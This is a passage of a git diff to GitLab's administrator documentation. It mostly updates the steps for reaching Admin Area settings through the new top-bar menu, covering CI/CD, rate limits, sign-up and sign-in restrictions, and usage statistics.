to expire. @@ -100,7 +122,8 @@ If disabled at the instance level, you cannot enable this per-project. To disable the setting: -1. Go to **Admin Area > Settings > CI/CD**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Continuous Integration and Deployment**. 1. Clear the **Keep the latest artifacts for all jobs in the latest successful pipelines** checkbox. 1. Click **Save changes** @@ -121,18 +144,17 @@ shared runners per month. Setting this to `0` (default value) grants unlimited pipeline minutes. While build limits are stored as minutes, the counting is done in seconds. Usage resets on the first day of each month. On GitLab.com, the quota is calculated based on your -[subscription plan](https://about.gitlab.com/pricing/#gitlab-com). +[subscription plan](../../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes). To change the pipelines minutes quota: -1. Go to **Admin Area > Settings > CI/CD**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Continuous Integration and Deployment**. 1. In the **Pipeline minutes quota** box, enter the maximum number of minutes. 1. Click **Save changes** for the changes to take effect. ---- - -While the setting in the Admin Area has a global effect, as an admin you can +While the setting in the Admin Area has a global effect, as an administrator you can also change each group's pipeline minutes quota to override the global value. 1. Navigate to the **Admin Area > Overview > Groups** and hit the **Edit** @@ -140,8 +162,8 @@ also change each group's pipeline minutes quota to override the global value. 1. In the **Pipeline Minutes Quota** box, enter the maximum number of minutes. 1. Click **Save changes** for the changes to take effect. -Once saved, you can see the build quota in the group admin view. -The quota can also be viewed in the project admin view if shared runners +Once saved, you can see the build quota in the group settings. +The quota can also be viewed in the project settings if shared runners are enabled.  @@ -151,7 +173,7 @@ a group in the **Usage Quotas** page available to the group page settings list.  -## Archive jobs **(FREE SELF)** +## Archive jobs Archiving jobs is useful for reducing the CI/CD footprint on the system by removing some of the capabilities of the jobs (metadata needed to run the job), @@ -159,29 +181,40 @@ but persisting the traces and artifacts for auditing purposes. To set the duration for which the jobs are considered as old and expired: -1. Go to **Admin Area > Settings > CI/CD**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. 1. Expand the **Continuous Integration and Deployment** section. 1. Set the value of **Archive jobs**. 1. Hit **Save changes** for the changes to take effect. -Once that time passes, the jobs are archived and no longer able to be +After that time passes, the jobs are archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. As of June 22, 2020 the [value is set](../../gitlab_com/index.md#gitlab-cicd) to 3 months on GitLab.com. Jobs created before that date were archived after September 22, 2020. -## Default CI configuration path +## Protect CI/CD variables by default + +To set all new [CI/CD variables](../../../ci/variables/README.md) as +[protected](../../../ci/variables/README.md#protect-a-cicd-variable) by default: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. +1. Select **Protect CI/CD variables by default**. + +## Default CI/CD configuration file > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18073) in GitLab 12.5. -The default CI configuration file path for new projects can be set in the Admin -Area of your GitLab instance (`.gitlab-ci.yml` if not set): +The default CI/CD configuration file and path for new projects can be set in the Admin Area +of your GitLab instance (`.gitlab-ci.yml` if not set): -1. Go to **Admin Area > Settings > CI/CD**. -1. Input the new path in the **Default CI configuration path** field. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. +1. Input the new file and path in the **Default CI/CD configuration file** field. 1. Hit **Save changes** for the changes to take effect. -It is also possible to specify a [custom CI/CD configuration path for a specific project](../../../ci/pipelines/settings.md#custom-cicd-configuration-path). +It is also possible to specify a [custom CI/CD configuration file for a specific project](../../../ci/pipelines/settings.md#custom-cicd-configuration-file). ## Required pipeline configuration **(PREMIUM SELF)** @@ -191,30 +224,33 @@ This feature is being re-evaluated in favor of a different We recommend that users who haven't yet implemented this feature wait for the new solution. -GitLab administrators can force a pipeline configuration to run on every -pipeline. +You can set a [CI/CD template](../../../ci/examples/README.md#cicd-templates) +as a required pipeline configuration for all projects on a GitLab instance. You can +use a template from: -The configuration applies to all pipelines for a GitLab instance and is -sourced from: +- The default CI/CD templates. +- A custom template stored in an [instance template repository](instance_template_repository.md). -- The [instance template repository](instance_template_repository.md). -- GitLab-supplied configuration. + NOTE: + When you use a configuration defined in an instance template repository, + nested [`include:`](../../../ci/yaml/README.md#include) keywords + (including `include:file`, `include:local`, `include:remote`, and `include:template`) + [do not work](https://gitlab.com/gitlab-org/gitlab/-/issues/35345). -NOTE: -When you use a configuration defined in an instance template repository, -nested [`include:`](../../../ci/yaml/README.md#include) keywords -(including `include:file`, `include:local`, `include:remote`, and `include:template`) -[do not work](https://gitlab.com/gitlab-org/gitlab/-/issues/35345). +The project CI/CD configuration merges into the required pipeline configuration when +a pipeline runs. The merged configuration is the same as if the required pipeline configuration +added the project configuration with the [`include` keyword](../../../ci/yaml/README.md#include). +To view a project's full merged configuration, [View the merged YAML](../../../ci/pipeline_editor/index.md#view-expanded-configuration) +in the pipeline editor. -To set required pipeline configuration: +To select a CI/CD template for the required pipeline configuration: -1. Go to **Admin Area > Settings > CI/CD**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. 1. Expand the **Required pipeline configuration** section. -1. Select the required configuration from the provided dropdown. +1. Select a CI/CD template from the dropdown. 1. Click **Save changes**. - - ## Package Registry configuration ### npm Forwarding **(PREMIUM SELF)** @@ -223,7 +259,8 @@ GitLab administrators can disable the forwarding of npm requests to [npmjs.com]( To disable it: -1. Go to **Admin Area > Settings > CI/CD**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. 1. Expand the **Package Registry** section. 1. Uncheck **Enable forwarding of npm package requests to npmjs.org**. 1. Click **Save changes**. @@ -236,7 +273,8 @@ GitLab administrators can adjust the maximum allowed file size for each package To set the maximum file size: -1. Go to **Admin Area > Settings > CI/CD**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD**. 1. Expand the **Package Registry** section. 1. Find the package type you would like to adjust. 1. Enter the maximum file size, in bytes. diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md index 0975b93f98f..205dd77c1bf 100644 --- a/doc/user/admin_area/settings/external_authorization.md +++ b/doc/user/admin_area/settings/external_authorization.md @@ -39,10 +39,11 @@ the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/logs ## Configuration -The external authorization service can be enabled by an administrator on the GitLab -**Admin Area > Settings > General** page: +The external authorization service can be enabled by an administrator: - +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**: +  The available required properties are: diff --git a/doc/user/admin_area/settings/floc.md b/doc/user/admin_area/settings/floc.md index e1d10727341..31a626478ed 100644 --- a/doc/user/admin_area/settings/floc.md +++ b/doc/user/admin_area/settings/floc.md @@ -22,7 +22,8 @@ Permissions-Policy: interest-cohort=() To enable it: -1. Go to the Admin Area (**{admin}**) and select **Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand **Federated Learning of Cohorts**. 1. Check the box. 1. Click **Save changes**. diff --git a/doc/user/admin_area/settings/gitaly_timeouts.md b/doc/user/admin_area/settings/gitaly_timeouts.md index 3570634b9ba..6f488efee11 100644 --- a/doc/user/admin_area/settings/gitaly_timeouts.md +++ b/doc/user/admin_area/settings/gitaly_timeouts.md @@ -12,7 +12,8 @@ configured to make sure that long running Gitaly calls don't needlessly take up To access Gitaly timeout settings: -1. Go to **Admin Area > Settings > Preferences**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Preferences**. 1. Expand the **Gitaly** section. ## Available timeouts @@ -20,9 +21,8 @@ To access Gitaly timeout settings: The following timeouts can be modified: - **Default Timeout Period**. This timeout is the default for most Gitaly calls. It should be shorter than the - worker timeout that can be configured for [Puma](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings) - or [Unicorn](https://docs.gitlab.com/omnibus/settings/unicorn.html). Used to make sure that Gitaly - calls made within a web request cannot exceed the entire request timeout. + worker timeout that can be configured for [Puma](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings). + Used to make sure that Gitaly calls made within a web request cannot exceed the entire request timeout. Defaults to 55 seconds. - **Fast Timeout Period**. This is the timeout for very short Gitaly calls. Defaults to 10 seconds. diff --git a/doc/user/admin_area/settings/help_page.md b/doc/user/admin_area/settings/help_page.md index 5739c3e4f10..d7c96c295f6 100644 --- a/doc/user/admin_area/settings/help_page.md +++ b/doc/user/admin_area/settings/help_page.md @@ -16,7 +16,8 @@ to go for help. You can customize and display this information on the GitLab ser You can add a help message, which is shown on the GitLab `/help` page (e.g., <https://gitlab.com/help>) in a new section at the top of the `/help` page: -1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Preferences**, then expand **Help page**. 1. Under **Help page text**, fill in the information you wish to display on `/help`. 1. Save your changes. You can now see the message on `/help`. @@ -25,7 +26,8 @@ You can add a help message, which is shown on the GitLab `/help` page (e.g., You can add a help message, which is shown on the GitLab login page in a new section titled `Need Help?`, located below the login page message: -1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Preferences**, then expand **Help page**. 1. Under **Help text**, fill in the information you wish to display on the login page.  diff --git a/doc/user/admin_area/settings/img/admin_required_pipeline.png b/doc/user/admin_area/settings/img/admin_required_pipeline.png Binary files differdeleted file mode 100644 index 501b1e3ba0a..00000000000 --- a/doc/user/admin_area/settings/img/admin_required_pipeline.png +++ /dev/null diff --git a/doc/user/admin_area/settings/img/continuous_integration_shared_runner_details_v14_0.png b/doc/user/admin_area/settings/img/continuous_integration_shared_runner_details_v14_0.png Binary files differnew file mode 100644 index 00000000000..d8bc3deccd4 --- /dev/null +++ b/doc/user/admin_area/settings/img/continuous_integration_shared_runner_details_v14_0.png diff --git a/doc/user/admin_area/settings/img/custom_sign_in_page_v13_6.png b/doc/user/admin_area/settings/img/custom_sign_in_page_v13_6.png Binary files differdeleted file mode 100644 index 5eb2134187a..00000000000 --- a/doc/user/admin_area/settings/img/custom_sign_in_page_v13_6.png +++ /dev/null diff --git a/doc/user/admin_area/settings/img/enforce_terms.png b/doc/user/admin_area/settings/img/enforce_terms.png Binary files differindex 3d93e1cc891..699e0e63ceb 100644 --- a/doc/user/admin_area/settings/img/enforce_terms.png +++ b/doc/user/admin_area/settings/img/enforce_terms.png diff --git a/doc/user/admin_area/settings/import_export_rate_limits.md b/doc/user/admin_area/settings/import_export_rate_limits.md index c6b965c18d3..12235bdb5ef 100644 --- a/doc/user/admin_area/settings/import_export_rate_limits.md +++ b/doc/user/admin_area/settings/import_export_rate_limits.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Project/Group Import/Export rate limits +# Project/group import/export rate limits **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35728) in GitLab 13.2. @@ -23,7 +23,7 @@ per minute per user basis: All rate limits are: -- Configurable at **(admin)** **Admin Area > Settings > Network > Import/Export Rate Limits** +- Configurable through the top bar at **Menu > Admin > Settings > Network > Import/Export Rate Limits** - Applied per minute per user - Not applied per IP address - Active by default. To disable, set the option to `0` diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md index a66502d9466..6a5af09358d 100644 --- a/doc/user/admin_area/settings/index.md +++ b/doc/user/admin_area/settings/index.md @@ -9,25 +9,28 @@ type: index As an administrator of a GitLab self-managed instance, you can manage the behavior of your deployment. To do so, select **Admin Area > Settings**. -The admin area is not accessible on GitLab.com, and settings can only be changed by the +The Admin Area is not accessible on GitLab.com, and settings can only be changed by the GitLab.com administrators. See the [GitLab.com settings](../../gitlab_com/index.md) documentation for all current settings and limits on the GitLab.com instance. ## General -Access the default page for admin area settings by navigating to **Admin Area > Settings > General**: +To access the default page for Admin Area settings: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. | Option | Description | | ------ | ----------- | | [Visibility and access controls](visibility_and_access_controls.md) | Set default and restrict visibility levels. Configure import sources and Git access protocol. | -| [Account and limit](account_and_limit_settings.md) **(STARTER)** | Set projects and maximum size limits, session duration, user options, and check feature availability for namespace plan. | +| [Account and limit](account_and_limit_settings.md) | Set projects and maximum size limits, session duration, user options, and check feature availability for namespace plan. | | [Diff limits](../diff_limits.md) | Diff content limits. | | [Sign-up restrictions](sign_up_restrictions.md) | Configure the way a user creates a new account. | | [Sign in restrictions](sign_in_restrictions.md) | Set requirements for a user to sign in. Enable mandatory two-factor authentication. | | [Terms of Service and Privacy Policy](terms.md) | Include a Terms of Service agreement and Privacy Policy that all users must accept. | | [External Authentication](external_authorization.md#configuration) | External Classification Policy Authorization | | [Web terminal](../../../administration/integration/terminal.md#limiting-websocket-connection-time) | Set max session time for web terminal. | -| [Web IDE](../../project/web_ide/index.md#enabling-live-preview) | Manage Web IDE Features. | +| [Web IDE](../../project/web_ide/index.md#enable-live-preview) | Manage Web IDE features. | | [FLoC](floc.md) | Enable or disable [Federated Learning of Cohorts (FLoC)](https://en.wikipedia.org/wiki/Federated_Learning_of_Cohorts) tracking. | ## Integrations @@ -116,6 +119,11 @@ Access the default page for admin area settings by navigating to **Admin Area > | [Gitaly timeouts](gitaly_timeouts.md) | Configure Gitaly timeouts. | | Localization | [Default first day of the week](../../profile/preferences.md) and [Time tracking](../../project/time_tracking.md#limit-displayed-units-to-hours). | -NOTE: -You can change the [Default first day of the week](../../profile/preferences.md) for the entire GitLab instance -in the **Localization** section of **Admin Area > Settings > Preferences**. +### Default first day of the week + +You can change the [Default first day of the week](../../profile/preferences.md) +for the entire GitLab instance: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Preferences**. +1. Scroll to the **Localization** section, and select your desired first day of the week. diff --git a/doc/user/admin_area/settings/instance_template_repository.md b/doc/user/admin_area/settings/instance_template_repository.md index 600d99934aa..c8a4c2866ca 100644 --- a/doc/user/admin_area/settings/instance_template_repository.md +++ b/doc/user/admin_area/settings/instance_template_repository.md @@ -17,12 +17,17 @@ while the project remains secure. ## Configuration -As an administrator, navigate to **Admin Area > Settings > Templates** and -select the project to serve as the custom template repository. +To select a project to serve as the custom template repository: - +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Templates**. +1. Select the project: -After that, you can add custom templates to the selected repository and use them for the entire instance. +  + +1. Add custom templates to the selected repository. + +After you add templates, you can use them for the entire instance. They are available in the [Web Editor's dropdown](../../project/repository/web_editor.md#template-dropdowns) and through the [API settings](../../../api/settings.md). diff --git a/doc/user/admin_area/settings/package_registry_rate_limits.md b/doc/user/admin_area/settings/package_registry_rate_limits.md index 578b7cd1236..6e7b9b0da30 100644 --- a/doc/user/admin_area/settings/package_registry_rate_limits.md +++ b/doc/user/admin_area/settings/package_registry_rate_limits.md @@ -9,7 +9,8 @@ type: reference Rate limiting is a common technique used to improve the security and durability of a web application. For more details, see [Rate limits](../../../security/rate_limits.md). General user and -IP rate limits can be enforced in **Admin Area > Settings > Network > User and IP rate limits**. +IP rate limits can be enforced from the top bar at +**Menu > Admin > Settings > Network > User and IP rate limits**. For more details, see [User and IP rate limits](user_and_ip_rate_limits.md). With the [GitLab Package Registry](../../packages/package_registry/index.md), @@ -20,7 +21,7 @@ the [Packages API](../../../api/packages.md). When downloading such dependencies in downstream projects, many requests are made through the Packages API. You may therefore reach enforced user and IP rate limits. To address this issue, you can define specific rate limits for the Packages API in -**Admin Area > Settings > Network > Package Registry Rate Limits**: +**Menu > Admin > Settings > Network > Package Registry Rate Limits**: - Unauthenticated Packages API requests - Authenticated Packages API requests diff --git a/doc/user/admin_area/settings/project_integration_management.md b/doc/user/admin_area/settings/project_integration_management.md index b152787b23f..3140eecfa53 100644 --- a/doc/user/admin_area/settings/project_integration_management.md +++ b/doc/user/admin_area/settings/project_integration_management.md @@ -22,7 +22,8 @@ Only the complete settings for an integration can be inherited. Per-field inheri > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2137) in GitLab 13.3 for project-level integrations. > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2543) in GitLab 13.6 for group-level integrations. -1. Navigate to **Admin Area > Settings > Integrations**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Integrations**. 1. Select an integration. 1. Enter configuration details and click **Save changes**. @@ -53,7 +54,8 @@ integration on all non-configured groups and projects by default. ### Remove an instance-level default setting -1. Navigate to **Admin Area > Settings > Integrations**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Integrations**. 1. Select an integration. 1. Click **Reset** and confirm. diff --git a/doc/user/admin_area/settings/push_event_activities_limit.md b/doc/user/admin_area/settings/push_event_activities_limit.md index 7032c1031a9..21e4f32ff8d 100644 --- a/doc/user/admin_area/settings/push_event_activities_limit.md +++ b/doc/user/admin_area/settings/push_event_activities_limit.md @@ -23,9 +23,14 @@ branches), only 1 bulk push event is created instead of 1,000 push events. This helps in maintaining good system performance and preventing spam on the activity feed. -This setting can be modified in **Admin Area > Settings > Network > Performance Optimization**. -This can also be configured via the [Application settings API](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls) -as `push_event_activities_limit`. The default value is 3, but it can be greater -than or equal 0. +To modify this setting: + +- In the Admin Area: + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. In the left sidebar, select **Settings > Network**, then expand **Performance optimization**. +- Through the [Application settings API](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls) + as `push_event_activities_limit`. + +The default value is 3, but it can be greater than or equal 0.  diff --git a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md index 1997e6b5149..67a97d26b34 100644 --- a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md +++ b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md @@ -28,5 +28,5 @@ The default value is `300`. Requests over the rate limit are logged into the `auth.log` file. For example, if you set a limit of 300, requests using the -[Projects::NotesController#create](https://gitlab.com/gitlab-org/gitlab/blob/master/app/controllers/projects/notes_controller.rb) +[Projects::NotesController#create](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/controllers/projects/notes_controller.rb) action exceeding a rate of 300 per minute are blocked. Access to the endpoint is allowed after one minute. diff --git a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md index a9b23b3dc50..24b69ba74c7 100644 --- a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md +++ b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md @@ -9,8 +9,11 @@ type: reference > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30829) in GitLab 12.2. -This setting allows you to rate limit the requests to raw endpoints, defaults to `300` requests per minute. -It can be modified in **Admin Area > Settings > Network > Performance Optimization**. +This setting defaults to `300` requests per minute, and allows you to rate limit the requests to raw endpoints: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Network**. +1. Expand **Performance optimization**. For example, requests over `300` per minute to `https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/controllers/application_controller.rb` are blocked. Access to the raw file is released after 1 minute. diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md index 647f9332119..ecd259a345c 100644 --- a/doc/user/admin_area/settings/sign_in_restrictions.md +++ b/doc/user/admin_area/settings/sign_in_restrictions.md @@ -13,7 +13,8 @@ You can use **Sign-in restrictions** to customize authentication restrictions fo To access sign-in restriction settings: -1. Navigate to the **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Sign-in restrictions** section. ## Password authentication enabled @@ -76,9 +77,9 @@ If necessary, you can disable **Admin Mode** as an administrator by using one of - [**Rails console**](../../../administration/operations/rails_console.md#starting-a-rails-console-session): ```ruby - ::Gitlab::CurrentSettings.update_attributes!(admin_mode: false) + ::Gitlab::CurrentSettings.update!(admin_mode: false) ``` - + ## Two-factor authentication When this feature is enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md). @@ -114,13 +115,14 @@ For example, if you include the following information in the noted text box: ```markdown # Custom sign-in text -To access this text box, navigate to Admin Area > Settings > General, and expand the "Sign-in restrictions" section. +To access this text box: + +1. On the top bar, select **Menu > Admin**. +1. In the left sidebar, select **Settings > General**, and expand the **Sign-in restrictions** section. ``` Your users see the **Custom sign-in text** when they navigate to the sign-in screen for your -GitLab instance: - - +GitLab instance. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/sign_up_restrictions.md b/doc/user/admin_area/settings/sign_up_restrictions.md index 0078db286a8..1098c7060f8 100644 --- a/doc/user/admin_area/settings/sign_up_restrictions.md +++ b/doc/user/admin_area/settings/sign_up_restrictions.md @@ -22,7 +22,8 @@ you do not expect public users to sign up for an account. To disable sign ups: -1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, and expand **Sign-up restrictions**. 1. Clear the **Sign-up enabled** checkbox, then select **Save changes**. ## Require administrator approval for new sign ups @@ -34,7 +35,8 @@ When this setting is enabled, any user visiting your GitLab domain and signing u To require administrator approval for new sign ups: -1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, and expand **Sign-up restrictions**. 1. Select the **Require admin approval for new sign-ups** checkbox, then select **Save changes**. In [GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/273258), if an administrator disables this setting, the users in pending approval state are @@ -47,7 +49,8 @@ their email address before they are allowed to sign in. To enforce confirmation of the email address used for new sign ups: -1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, and expand **Sign-up restrictions**. 1. Select the **Enable email restrictions for sign ups** checkbox, then select **Save changes**. ## User cap **(FREE SELF)** @@ -64,7 +67,8 @@ user cap, the users in pending approval state are automatically approved in a ba ### Set the user cap number -1. Go to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand **Sign-up restrictions**. 1. Enter a number in **User cap**. 1. Select **Save changes**. @@ -73,7 +77,8 @@ New user sign ups are subject to the user cap restriction. ## Remove the user cap -1. Go to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand **Sign-up restrictions**. 1. Remove the number from **User cap**. 1. Select **Save changes**. @@ -130,7 +135,8 @@ reduce the risk of malicious users creating spam accounts with disposable email To create an email domain allowlist or denylist: -1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**, and expand **Sign-up restrictions**. 1. For the allowlist, you must enter the list manually. For the denylist, you can enter the list manually or upload a `.txt` file that contains list entries. diff --git a/doc/user/admin_area/settings/terms.md b/doc/user/admin_area/settings/terms.md index 3e0636ef7ac..46e85ffc9c0 100644 --- a/doc/user/admin_area/settings/terms.md +++ b/doc/user/admin_area/settings/terms.md @@ -7,7 +7,7 @@ type: reference # Enforce accepting Terms of Service **(FREE SELF)** -An admin can enforce acceptance of a terms of service and privacy policy. When this option is enabled, new and existing users must accept the terms. +An administrator can enforce acceptance of a terms of service and privacy policy. When this option is enabled, new and existing users must accept the terms. If configured, the Terms of Service page can be viewed via `https://your-instance.com/-/users/terms` at anytime. @@ -16,7 +16,8 @@ If configured, the Terms of Service page can be viewed via `https://your-instanc To enforce acceptance of a Terms of Service and Privacy Policy: 1. Log in to the GitLab instance as an admin user. -1. Go to **Admin Area > Settings > General**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Terms of Service and Privacy Policy** section. 1. Check the **Require all users to accept Terms of Service and Privacy Policy when they access GitLab.** checkbox. diff --git a/doc/user/admin_area/settings/third_party_offers.md b/doc/user/admin_area/settings/third_party_offers.md index 59845a8d0d8..e7fa8b1dc40 100644 --- a/doc/user/admin_area/settings/third_party_offers.md +++ b/doc/user/admin_area/settings/third_party_offers.md @@ -13,7 +13,11 @@ Within GitLab, we inform users of available third-party offers they might find v to enhance the development of their projects. An example is the Google Cloud Platform free credit for using [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/). -The display of third-party offers can be toggled in the **Admin Area > Settings** page. +To toggle the display of third-party offers: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings**, and expand **Third party offers**. +1. Select **Do not display offers from third parties within GitLab**. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md index ada44115cec..b5a7ce318ff 100644 --- a/doc/user/admin_area/settings/usage_statistics.md +++ b/doc/user/admin_area/settings/usage_statistics.md @@ -10,8 +10,12 @@ type: reference GitLab Inc. periodically collects information about your instance in order to perform various actions. -All statistics are opt-out. You can enable/disable them in the -**Admin Area > Settings > Metrics and profiling** section **Usage statistics**. +All statistics are opt-out. To enable or disable them: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Metrics and profiling**, and expand **Usage statistics**. +1. Enable or disable **Version check** and **Usage ping**. +1. Select **Save changes**. ## Network configuration @@ -40,8 +44,12 @@ This information is used, among other things, to identify to which versions patches must be backported, making sure active GitLab instances remain secure. -If you disable version check, this information isn't collected. Enable or -disable the version check in **Admin Area > Settings > Metrics and profiling > Usage statistics**. +If you disable version check, this information isn't collected. To enable or disable it: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Metrics and profiling**, and expand **Usage statistics**. +1. Enable or disable **Version check**. +1. Select **Save changes**. ### Request flow example diff --git a/doc/user/admin_area/settings/user_and_ip_rate_limits.md b/doc/user/admin_area/settings/user_and_ip_rate_limits.md index 9e64dd59a74..fdeda0cf451 100644 --- a/doc/user/admin_area/settings/user_and_ip_rate_limits.md +++ b/doc/user/admin_area/settings/user_and_ip_rate_limits.md @@ -11,20 +11,21 @@ Rate limiting is a common technique used to improve the security and durability of a web application. For more details, see [Rate limits](../../../security/rate_limits.md). -The following limits can be enforced in **Admin Area > Settings > Network > User and -IP rate limits**: +The following limits are disabled by default: - Unauthenticated requests - Authenticated API requests - Authenticated web requests -These limits are disabled by default. +To enforce any or all of them: -NOTE: -By default, all Git operations are first tried unauthenticated. Because of this, HTTP Git operations -may trigger the rate limits configured for unauthenticated requests. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Network**, and expand **User and IP rate limits**: +  - + NOTE: + By default, all Git operations are first tried unauthenticated. Because of this, HTTP Git operations + may trigger the rate limits configured for unauthenticated requests. ## Response text diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md index e335a9031d5..752856371bf 100644 --- a/doc/user/admin_area/settings/visibility_and_access_controls.md +++ b/doc/user/admin_area/settings/visibility_and_access_controls.md @@ -11,14 +11,18 @@ GitLab allows administrators to enforce specific controls. To access the visibility and access control options: -1. Sign in to GitLab as a user with Administrator [permissions](../../permissions.md). -1. Go to **Admin Area > Settings > General**. +1. Sign in to GitLab as a user with [Administrator role](../../permissions.md). +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. 1. Expand the **Visibility and access controls** section. ## Default branch protection -This global option defines the branch protection that applies to every repository's default branch. [Branch protection](../../project/protected_branches.md) specifies which roles can push to branches and which roles can delete -branches. In this case _Default_ refers to a repository's default branch, which in most cases is `master`. +This global option defines the branch protection that applies to every repository's +[default branch](../../project/repository/branches/default.md). +[Branch protection](../../project/protected_branches.md) specifies which roles can push +to branches and which roles can delete branches. In this case _Default_ refers to a +repository's [default branch](../../project/repository/branches/default.md). This setting applies only to each repositories' default branch. To protect other branches, you must configure branch protection in repository. For details, see [protected branches](../../project/protected_branches.md). diff --git a/doc/user/admin_area/user_cohorts.md b/doc/user/admin_area/user_cohorts.md index b01a299178d..e96ce969b3a 100644 --- a/doc/user/admin_area/user_cohorts.md +++ b/doc/user/admin_area/user_cohorts.md @@ -8,7 +8,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w You can analyze your users' GitLab activities over time. -To see user cohorts, go to **Admin Area > Overview > Users**. +To view user cohorts: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Overview > Users**. +1. Select the **Cohorts** tab. ## Overview diff --git a/doc/user/analytics/ci_cd_analytics.md b/doc/user/analytics/ci_cd_analytics.md index 284e87e9b35..1fce741cbef 100644 --- a/doc/user/analytics/ci_cd_analytics.md +++ b/doc/user/analytics/ci_cd_analytics.md @@ -4,12 +4,11 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# CI/CD Analytics +# CI/CD Analytics **(FREE)** 